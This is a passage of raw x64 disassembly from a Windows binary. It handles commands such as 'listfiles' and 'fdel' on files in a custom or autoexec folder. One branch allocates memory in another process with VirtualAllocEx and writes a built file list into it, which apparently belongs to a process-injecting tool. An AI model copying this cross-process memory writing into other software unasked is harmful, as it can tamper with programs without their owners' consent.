call fcn.140017380
movzx eax, byte [rsp + 0xdc]
test eax, eax
je 0x14002cc05
mov eax, dword [rsp + 0x100]
inc eax
mov dword [rsp + 0x100], eax
cmp dword [rsp + 0x100], 0x1f4
jle 0x14002cc05
mov byte [rsp + 0x70], 0
lea rdx, str.Maximum_number_of_files_created_for_this_session.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140007b60
mov qword [rsp + 0x1908], rax
lea rdx, [0x1400130e0]
mov rcx, qword [rsp + 0x1908]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movzx eax, byte [rsp + 0x70]
test eax, eax
je 0x14002cc1d
lea rcx, [rsp + 0x5490]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wmkdir]
nop
lea rcx, [rsp + 0xfc8]
call fcn.140017380
nop
lea rcx, [rsp + 0x39a0]
call fcn.140017830
nop
lea rcx, [rsp + 0x2268]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2ce8]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, [0x14036680c]
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002d2d8
lea rcx, [rsp + 0x2d00]
call fcn.140015970
nop
lea rcx, [rsp + 0x2288]
call fcn.140006550
nop
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1910], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1910]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
je 0x14002cd3a
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1918], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1918]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov rdx, rax
lea rcx, [rsp + 0x3208]
call fcn.1402c6d80
mov qword [rsp + 0x1920], rax
mov rdx, qword [rsp + 0x1920]
lea rcx, [rsp + 0x2288]
call fcn.140009f60
lea rcx, [rsp + 0x3208]
call fcn.1400067e0
jmp 0x14002cd9d
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1928], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1928]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x3468]
call fcn.1402c6d80
mov qword [rsp + 0x1930], rax
mov rdx, qword [rsp + 0x1930]
lea rcx, [rsp + 0x2288]
call fcn.140009f60
lea rcx, [rsp + 0x3468]
call fcn.1400067e0
lea rcx, [rsp + 0x3a20]
call fcn.140015c70
nop
lea r8, [rsp + 0x2288]
lea rdx, [rsp + 0xec0]
lea rcx, [rsp + 0x3a20]
call fcn.1400209a0
nop
lea rcx, [rsp + 0xec0]
call fcn.1400074e0
cmp rax, 0x104
jae 0x14002d29c
mov rax, qword [rsp + 0x8de0]
add rax, 0xbdc
mov rdx, rax
lea rcx, [rsp + 0x56a0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str.custom_
lea rcx, [rsp + 0x56a0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rdx, rax
lea rcx, [rsp + 0x4e70]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0x338], 0
mov dword [rsp + 0x74], 0
jmp 0x14002ce54
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
lea rcx, [rsp + 0xec0]
call fcn.1400074e0
movsxd rcx, dword [rsp + 0x74]
cmp rcx, rax
jae 0x14002cf95
movsxd rax, dword [rsp + 0x74]
mov rdx, rax
lea rcx, [rsp + 0xec0]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x3a
jne 0x14002ce93
jmp 0x14002cf95
lea rcx, [rsp + 0xec0]
call fcn.1400074e0
mov ecx, dword [rsp + 0x74]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14002cef0
movsxd rax, dword [rsp + 0x74]
mov rdx, rax
lea rcx, [rsp + 0xec0]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002cef0
mov eax, dword [rsp + 0x74]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0xec0]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002cef0
jmp 0x14002cf95
movsxd rax, dword [rsp + 0x74]
mov rdx, rax
lea rcx, [rsp + 0xec0]
call fcn.1400183a0
movzx eax, word [rax]
mov word [rsp + 0x334], ax
xor eax, eax
mov word [rsp + 0x336], ax
lea rdx, [rsp + 0x334]
lea rcx, [rsp + 0x4e70]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rsp + 0x334]
lea rcx, [rsp + 0x56a0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
movsxd rax, dword [rsp + 0x74]
mov rdx, rax
lea rcx, [rsp + 0xec0]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2f
je 0x14002cf80
movsxd rax, dword [rsp + 0x74]
mov rdx, rax
lea rcx, [rsp + 0xec0]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x5c
jne 0x14002cf90
mov eax, dword [rsp + 0x338]
inc eax
mov dword [rsp + 0x338], eax
jmp 0x14002ce4a
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x8ac], eax
lea rcx, [rsp + 0x4e70]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x8ac]
cmp eax, ecx
jle 0x14002d29c
lea rdx, [0x140365b17]
lea rcx, [rsp + 0xf18]
call fcn.1400064f0
nop
xor edx, edx
lea rcx, [rsp + 0x4e70]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__waccess_s]
test eax, eax
jne 0x14002d034
lea rdx, [rsp + 0x36e0]
lea rcx, [rsp + 0x4e70]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wstat64]
movzx eax, word [rsp + 0x36e6]
and eax, 0x4000
test eax, eax
je 0x14002d034
lea rdx, [0x140366d20]
lea rcx, [rsp + 0xf18]
call fcn.14000a080
lea rdx, [0x140366d30]
lea rcx, [rsp + 0xf18]
call fcn.14000df40
movzx eax, al
test eax, eax
je 0x14002d124
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x21
lea rdx, [rsp + 0x4e70]
lea rcx, [rsp + 0x41e0]
call fcn.140014c80
nop
lea rcx, [rsp + 0x41e0]
call fcn.1400307b0
movzx eax, al
test eax, eax
je 0x14002d102
lea rdx, [rsp + 0xdd]
lea rcx, [rsp + 0x41e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_char____ptr64____ptr64]
mov qword [rsp + 0xd30], rax
mov rax, qword [rsp + 0xd30]
mov rax, qword [rax]
movsxd rax, dword [rax + 4]
mov rcx, qword [rsp + 0xd30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
movzx eax, al
test eax, eax
je 0x14002d0f3
movzx edx, byte [rsp + 0xdd]
lea rcx, [rsp + 0xf18]
call fcn.140007410
jmp 0x14002d091
lea rcx, [rsp + 0x41e0]
call fcn.14001edc0
jmp 0x14002d117
lea rdx, [0x140366d40]
lea rcx, [rsp + 0xf18]
call fcn.14000a080
nop
lea rcx, [rsp + 0x41e0]
call fcn.140019440
lea rcx, [rsp + 0xf18]
call fcn.140020310
movzx eax, al
test eax, eax
jne 0x14002d28e
lea rdx, str._NOFILE_
lea rcx, [rsp + 0xf18]
call fcn.14000df40
movzx eax, al
test eax, eax
je 0x14002d28e
lea rdx, str._ISFOLDER_
lea rcx, [rsp + 0xf18]
call fcn.14000df40
movzx eax, al
test eax, eax
je 0x14002d28e
lea rdx, [rsp + 0x56a0]
lea rcx, [rsp + 0x20a8]
call fcn.140009a50
nop
cmp dword [rsp + 0x338], 0
je 0x14002d1d3
lea rcx, [rsp + 0x20a8]
call fcn.14001e8a0
movzx eax, word [rax]
cmp eax, 0x2f
je 0x14002d1d3
lea rcx, [rsp + 0x20a8]
call fcn.14001e8a0
movzx eax, word [rax]
cmp eax, 0x5c
je 0x14002d1d3
lea rcx, [rsp + 0x20a8]
call fcn.140034050
jmp 0x14002d19a
xor r8d, r8d
lea rdx, [rsp + 0x20a8]
lea rcx, [rsp + 0x29e8]
call fcn.14000d420
nop
lea rcx, [rsp + 0x29e8]
call fcn.14001eff0
nop
lea rcx, [rsp + 0x29e8]
call fcn.140017be0
mov edx, 1
lea rcx, [rsp + 0x3e40]
call fcn.1400150d0
nop
mov r9d, 0x40
mov r8d, gethostbyaddr
lea rdx, [rsp + 0x56a0]
lea rcx, [rsp + 0x3e40]
call fcn.1400332e0
lea rcx, [rsp + 0x3e40]
call fcn.1400307d0
movzx eax, al
test eax, eax
je 0x14002d272
lea rdx, [rsp + 0xf18]
lea rcx, [rsp + 0x3e40]
call fcn.140007b10
lea rcx, [rsp + 0x3e40]
call fcn.14001ee80
nop
lea rcx, [rsp + 0x3e40]
call fcn.1400194c0
nop
lea rcx, [rsp + 0x20a8]
call fcn.140017380
nop
lea rcx, [rsp + 0xf18]
call fcn.1400067e0
nop
lea rcx, [rsp + 0xec0]
call fcn.140017380
nop
lea rcx, [rsp + 0x3a20]
call fcn.140017830
nop
lea rcx, [rsp + 0x2288]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2d00]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, str.listfiles
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002dde4
lea rcx, [rsp + 0x2d18]
call fcn.140015970
nop
lea rcx, [rsp + 0x22a8]
call fcn.140006550
nop
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1938], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1938]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
je 0x14002d3b9
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1940], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1940]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov rdx, rax
lea rcx, [rsp + 0x3248]
call fcn.1402c6d80
mov qword [rsp + 0x1948], rax
mov rdx, qword [rsp + 0x1948]
lea rcx, [rsp + 0x22a8]
call fcn.140009f60
lea rcx, [rsp + 0x3248]
call fcn.1400067e0
jmp 0x14002d41c
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1950], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1950]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x3268]
call fcn.1402c6d80
mov qword [rsp + 0x1958], rax
mov rdx, qword [rsp + 0x1958]
lea rcx, [rsp + 0x22a8]
call fcn.140009f60
lea rcx, [rsp + 0x3268]
call fcn.1400067e0
lea rcx, [rsp + 0x3aa0]
call fcn.140015c70
nop
lea r8, [rsp + 0x22a8]
lea rdx, [rsp + 0x758]
lea rcx, [rsp + 0x3aa0]
call fcn.1400209a0
nop
lea rcx, [rsp + 0x758]
call fcn.1400074e0
cmp rax, 0x104
jae 0x14002dda8
mov byte [rsp + 0x41], 0
lea rcx, [rsp + 0x758]
call fcn.1400074e0
cmp rax, 0xa
jb 0x14002d64e
mov r9d, 0xa
xor r8d, r8d
lea rdx, [rsp + 0x3288]
lea rcx, [rsp + 0x758]
call fcn.140035a00
mov qword [rsp + 0x1960], rax
mov rcx, qword [rsp + 0x1960]
call fcn.14001dee0
lea rdx, [0x140366d80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x14002d4d1
mov dword [rsp + 0x468], 1
jmp 0x14002d4dc
mov dword [rsp + 0x468], 0
movzx eax, byte [rsp + 0x468]
mov byte [rsp + 0xde], al
lea rcx, [rsp + 0x3288]
call fcn.140017380
movzx eax, byte [rsp + 0xde]
test eax, eax
je 0x14002d64e
mov rax, qword [rsp + 0x8de0]
add rax, 0x3bc
mov rdx, rax
lea rcx, [rsp + 0x4a50]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x140366d98]
lea rcx, [rsp + 0x4a50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [rsp + 0x88], 0xa
jmp 0x14002d559
mov eax, dword [rsp + 0x88]
inc eax
mov dword [rsp + 0x88], eax
lea rcx, [rsp + 0x758]
call fcn.1400074e0
movsxd rcx, dword [rsp + 0x88]
cmp rcx, rax
jae 0x14002d649
movsxd rax, dword [rsp + 0x88]
mov rdx, rax
lea rcx, [rsp + 0x758]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x3a
jne 0x14002d59e
jmp 0x14002d649
lea rcx, [rsp + 0x758]
call fcn.1400074e0
mov ecx, dword [rsp + 0x88]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14002d601
movsxd rax, dword [rsp + 0x88]
mov rdx, rax
lea rcx, [rsp + 0x758]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002d601
mov eax, dword [rsp + 0x88]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0x758]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002d601
jmp 0x14002d649
movsxd rax, dword [rsp + 0x88]
mov rdx, rax
lea rcx, [rsp + 0x758]
call fcn.1400183a0
movzx eax, word [rax]
mov word [rsp + 0x46c], ax
xor eax, eax
mov word [rsp + 0x46e], ax
lea rdx, [rsp + 0x46c]
lea rcx, [rsp + 0x4a50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14002d549
mov byte [rsp + 0x41], 1
movzx eax, byte [rsp + 0x41]
test eax, eax
jne 0x14002d787
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rdx, rax
lea rcx, [rsp + 0x4a50]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0x8c], 0
jmp 0x14002d697
mov eax, dword [rsp + 0x8c]
inc eax
mov dword [rsp + 0x8c], eax
lea rcx, [rsp + 0x758]
call fcn.1400074e0
movsxd rcx, dword [rsp + 0x8c]
cmp rcx, rax
jae 0x14002d787
movsxd rax, dword [rsp + 0x8c]
mov rdx, rax
lea rcx, [rsp + 0x758]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x3a
jne 0x14002d6dc
jmp 0x14002d787
lea rcx, [rsp + 0x758]
call fcn.1400074e0
mov ecx, dword [rsp + 0x8c]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14002d73f
movsxd rax, dword [rsp + 0x8c]
mov rdx, rax
lea rcx, [rsp + 0x758]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002d73f
mov eax, dword [rsp + 0x8c]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0x758]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002d73f
jmp 0x14002d787
movsxd rax, dword [rsp + 0x8c]
mov rdx, rax
lea rcx, [rsp + 0x758]
call fcn.1400183a0
movzx eax, word [rax]
mov word [rsp + 0x470], ax
xor eax, eax
mov word [rsp + 0x472], ax
lea rdx, [rsp + 0x470]
lea rcx, [rsp + 0x4a50]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14002d687
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x8a8], eax
lea rcx, [rsp + 0x4a50]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x8a8]
cmp eax, ecx
jge 0x14002d7cb
movzx eax, byte [rsp + 0x41]
test eax, eax
je 0x14002dda8
lea rdx, [0x140366824]
lea rcx, [rsp + 0x20e8]
call fcn.140009a50
nop
xor r8d, r8d
lea rdx, [rsp + 0x4a50]
lea rcx, [rsp + 0x2a08]
call fcn.14000ccf0
nop
lea rdx, [rsp + 0x2a08]
lea rcx, [rsp + 0x2078]
call fcn.140016320
nop
lea rax, [rsp + 0x2078]
mov qword [rsp + 0xd38], rax
lea rcx, [rsp + 0x2a08]
call fcn.140017be0
lea rax, [rsp + 0x34b8]
mov qword [rsp + 0x1968], rax
mov rdx, qword [rsp + 0xd38]
mov rcx, qword [rsp + 0x1968]
call fcn.1400162e0
mov qword [rsp + 0x1970], rax
mov rdx, qword [rsp + 0x1970]
lea rcx, [rsp + 0xf98]
call fcn.14001e950
nop
lea rax, [rsp + 0x34c8]
mov qword [rsp + 0x1978], rax
mov rdx, qword [rsp + 0xd38]
mov rcx, qword [rsp + 0x1978]
call fcn.1400162e0
mov qword [rsp + 0x1980], rax
mov rdx, qword [rsp + 0x1980]
lea rcx, [rsp + 0x2068]
call fcn.1400204c0
nop
jmp 0x14002d8c1
lea rcx, [rsp + 0xf98]
call fcn.1400186a0
lea rdx, [rsp + 0x2068]
lea rcx, [rsp + 0xf98]
call fcn.140018320
movzx eax, al
test eax, eax
je 0x14002da26
lea rcx, [rsp + 0xf98]
call fcn.1400185c0
mov qword [rsp + 0x1988], rax
mov rcx, qword [rsp + 0x1988]
call fcn.140033d10
mov qword [rsp + 0x1990], rax
lea rdx, [rsp + 0x20c8]
mov rcx, qword [rsp + 0x1990]
call fcn.1400367f0
nop
movzx eax, byte [rsp + 0x41]
test eax, eax
jne 0x14002d94d
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
mov qword [rsp + 0xa00], rax
jmp 0x14002d971
mov rax, qword [rsp + 0x8de0]
add rax, 0x3bc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 9
cdqe
mov qword [rsp + 0xa00], rax
lea rcx, [rsp + 0x20c8]
call fcn.1400074e0
sub rax, qword [rsp + 0xa00]
mov r9, rax
mov r8, qword [rsp + 0xa00]
lea rdx, [rsp + 0x32a8]
lea rcx, [rsp + 0x20c8]
call fcn.140035a00
mov qword [rsp + 0x1998], rax
mov rdx, qword [rsp + 0x1998]
lea rcx, [rsp + 0x20c8]
call fcn.140017cf0
lea rcx, [rsp + 0x32a8]
call fcn.140017380
movzx eax, byte [rsp + 0x41]
test eax, eax
je 0x14002d9ed
lea rdx, str._autoexec__
lea rcx, [rsp + 0x20e8]
call fcn.140018df0
lea rdx, [rsp + 0x20c8]
lea rcx, [rsp + 0x20e8]
call fcn.140018dc0
mov dx, 0xa
lea rcx, [rsp + 0x20e8]
call fcn.140018e20
nop
lea rcx, [rsp + 0x20c8]
call fcn.140017380
jmp 0x14002d8b4
lea rcx, [rsp + 0x2068]
call fcn.140017b00
nop
lea rcx, [rsp + 0xf98]
call fcn.140017b00
nop
lea rcx, [rsp + 0x2078]
call fcn.140017b00
lea rcx, [rsp + 0x3720]
call fcn.140015bb0
nop
lea rdx, [0x140365b52]
lea rcx, [rsp + 0x1f10]
call fcn.1400064f0
nop
lea rax, [rsp + 0x20e8]
mov qword [rsp + 0xd40], rax
mov rcx, qword [rsp + 0xd40]
call fcn.14001dee0
mov qword [rsp + 0x608], rax
mov rcx, qword [rsp + 0xd40]
call fcn.14001dfa0
mov qword [rsp + 0x19a0], rax
jmp 0x14002dac2
mov rax, qword [rsp + 0x608]
add rax, 2
mov qword [rsp + 0x608], rax
mov rax, qword [rsp + 0x19a0]
cmp qword [rsp + 0x608], rax
je 0x14002db47
mov rax, qword [rsp + 0x608]
mov qword [rsp + 0x19a8], rax
mov rax, qword [rsp + 0x19a8]
movzx eax, word [rax]
mov r8d, eax
lea rdx, [rsp + 0x32c8]
lea rcx, [rsp + 0x3720]
call fcn.140035f50
mov qword [rsp + 0x19b0], rax
mov rax, qword [rsp + 0x19b0]
mov qword [rsp + 0x19b8], rax
mov rdx, qword [rsp + 0x19b8]
lea rcx, [rsp + 0x1f10]
call fcn.14000a270
nop
lea rcx, [rsp + 0x32c8]
call fcn.1400067e0
jmp 0x14002daae
lea rcx, [rsp + 0x1f10]
call fcn.1400074e0
mov qword [rsp + 0x19c0], rax
mov rax, qword [0x1404a27f0]
mov qword [rsp + 0x19c8], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x19c0]
xor edx, edx
mov rcx, qword [rsp + 0x19c8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xd48], rax
lea rcx, [rsp + 0x1f10]
call fcn.1400074e0
mov qword [rsp + 0x19d0], rax
lea rcx, [rsp + 0x1f10]
call fcn.14000ae90
mov qword [rsp + 0x19d8], rax
mov r8, qword [rsp + 0x19d0]
mov rdx, qword [rsp + 0x19d8]
mov rcx, qword [rsp + 0xd48]
call fcn.140033090
mov rax, qword [rsp + 0xd48]
mov qword [rsp + 0xa18], rax
mov qword [rsp + 0x24a0], 0
lea rcx, [rsp + 0x1f10]
call fcn.1400074e0
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x610], 0
jmp 0x14002dc48
mov rax, qword [rsp + 0x610]
inc rax
mov qword [rsp + 0x610], rax
mov rax, qword [rsp + 0x350]
sub rax, 0x30000
mov qword [rsp + 0x350], rax
lea rcx, [rsp + 0x178]
call fcn.140035930
cmp qword [rsp + 0x610], rax
jae 0x14002dd7e
cmp qword [rsp + 0x350], 0
jbe 0x14002dd7e
cmp qword [rsp + 0x350], 0x7fffffff
jae 0x14002dd7e
cmp qword [rsp + 0x350], 0x30000
jbe 0x14002dca0
mov qword [rsp + 0xd50], 0x30000
jmp 0x14002dcb0
mov rax, qword [rsp + 0x350]
mov qword [rsp + 0xd50], rax
mov rax, qword [rsp + 0xd50]
mov qword [rsp + 0xa10], rax
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x19e0], rax
mov rdx, qword [rsp + 0x610]
lea rcx, [rsp + 0x178]
call fcn.140018430
mov rcx, qword [rsp + 0x19e0]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xa08], rax
lea rdx, [rsp + 0xa18]
mov rcx, qword [rsp + 0xa08]
call fcn.140013f40
mov rax, qword [rsp + 0xa08]
add rax, 0x10
lea rdx, [rsp + 0xa10]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0xa10]
or rax, 0x1f
mov qword [rsp + 0x19e8], rax
mov rax, qword [rsp + 0xa08]
add rax, 0x18
lea rdx, [rsp + 0x19e8]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0xa10]
mov rcx, qword [rsp + 0xa18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa18], rax
jmp 0x14002dc1f
lea rcx, [rsp + 0x1f10]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x3720]
call fcn.1400177e0
nop
lea rcx, [rsp + 0x20e8]
call fcn.140017380
nop
lea rcx, [rsp + 0x758]
call fcn.140017380
nop
lea rcx, [rsp + 0x3aa0]
call fcn.140017830
nop
lea rcx, [rsp + 0x22a8]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2d18]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, str.fdel
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002e31e
lea rcx, [rsp + 0x2d60]
call fcn.140015970
nop
lea rcx, [rsp + 0x22c8]
call fcn.140006550
nop
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x19f0], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x19f0]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
je 0x14002dec5
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x19f8], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x19f8]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov rdx, rax
lea rcx, [rsp + 0x32e8]
call fcn.1402c6d80
mov qword [rsp + 0x1a00], rax
mov rdx, qword [rsp + 0x1a00]
lea rcx, [rsp + 0x22c8]
call fcn.140009f60
lea rcx, [rsp + 0x32e8]
call fcn.1400067e0
jmp 0x14002df28
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1a08], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1a08]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x3308]
call fcn.1402c6d80
mov qword [rsp + 0x1a10], rax
mov rdx, qword [rsp + 0x1a10]
lea rcx, [rsp + 0x22c8]
call fcn.140009f60
lea rcx, [rsp + 0x3308]
call fcn.1400067e0
lea rcx, [rsp + 0x3b20]
call fcn.140015c70
nop
lea r8, [rsp + 0x22c8]
lea rdx, [rsp + 0x778]
lea rcx, [rsp + 0x3b20]
call fcn.1400209a0
nop
lea rcx, [rsp + 0x778]
call fcn.1400074e0
cmp rax, 0x104
jae 0x14002e2e2
mov byte [rsp + 0x44], 0
lea rcx, [rsp + 0x778]
call fcn.1400074e0
cmp rax, 0xa
jbe 0x14002e15a
mov r9d, 0xa
xor r8d, r8d
lea rdx, [rsp + 0x3328]
lea rcx, [rsp + 0x778]
call fcn.140035a00
mov qword [rsp + 0x1a18], rax
mov rcx, qword [rsp + 0x1a18]
call fcn.14001dee0
lea rdx, str._autoexec_
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x14002dfdd
mov dword [rsp + 0x478], 1
jmp 0x14002dfe8
mov dword [rsp + 0x478], 0
movzx eax, byte [rsp + 0x478]
mov byte [rsp + 0xdf], al
lea rcx, [rsp + 0x3328]
call fcn.140017380
movzx eax, byte [rsp + 0xdf]
test eax, eax
je 0x14002e15a
mov rax, qword [rsp + 0x8de0]
add rax, 0x3bc
mov rdx, rax
lea rcx, [rsp + 0x4c60]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, str.autoexec_
lea rcx, [rsp + 0x4c60]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [rsp + 0x90], 0xa
jmp 0x14002e065
mov eax, dword [rsp + 0x90]
inc eax
mov dword [rsp + 0x90], eax
lea rcx, [rsp + 0x778]
call fcn.1400074e0
movsxd rcx, dword [rsp + 0x90]
cmp rcx, rax
jae 0x14002e155
movsxd rax, dword [rsp + 0x90]
mov rdx, rax
lea rcx, [rsp + 0x778]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x3a
jne 0x14002e0aa
jmp 0x14002e155
lea rcx, [rsp + 0x778]
call fcn.1400074e0
mov ecx, dword [rsp + 0x90]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14002e10d
movsxd rax, dword [rsp + 0x90]
mov rdx, rax
lea rcx, [rsp + 0x778]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002e10d
mov eax, dword [rsp + 0x90]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0x778]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002e10d
jmp 0x14002e155
movsxd rax, dword [rsp + 0x90]
mov rdx, rax
lea rcx, [rsp + 0x778]
call fcn.1400183a0
movzx eax, word [rax]
mov word [rsp + 0x47c], ax
xor eax, eax
mov word [rsp + 0x47e], ax
lea rdx, [rsp + 0x47c]
lea rcx, [rsp + 0x4c60]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14002e055
mov byte [rsp + 0x44], 1
movzx eax, byte [rsp + 0x44]
test eax, eax
jne 0x14002e293
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rdx, rax
lea rcx, [rsp + 0x4c60]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0x94], 0
jmp 0x14002e1a3
mov eax, dword [rsp + 0x94]
inc eax
mov dword [rsp + 0x94], eax
lea rcx, [rsp + 0x778]
call fcn.1400074e0
movsxd rcx, dword [rsp + 0x94]
cmp rcx, rax
jae 0x14002e293
movsxd rax, dword [rsp + 0x94]
mov rdx, rax
lea rcx, [rsp + 0x778]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x3a
jne 0x14002e1e8
jmp 0x14002e293
lea rcx, [rsp + 0x778]
call fcn.1400074e0
mov ecx, dword [rsp + 0x94]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14002e24b
movsxd rax, dword [rsp + 0x94]
mov rdx, rax
lea rcx, [rsp + 0x778]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002e24b
mov eax, dword [rsp + 0x94]
inc eax
cdqe
mov rdx, rax
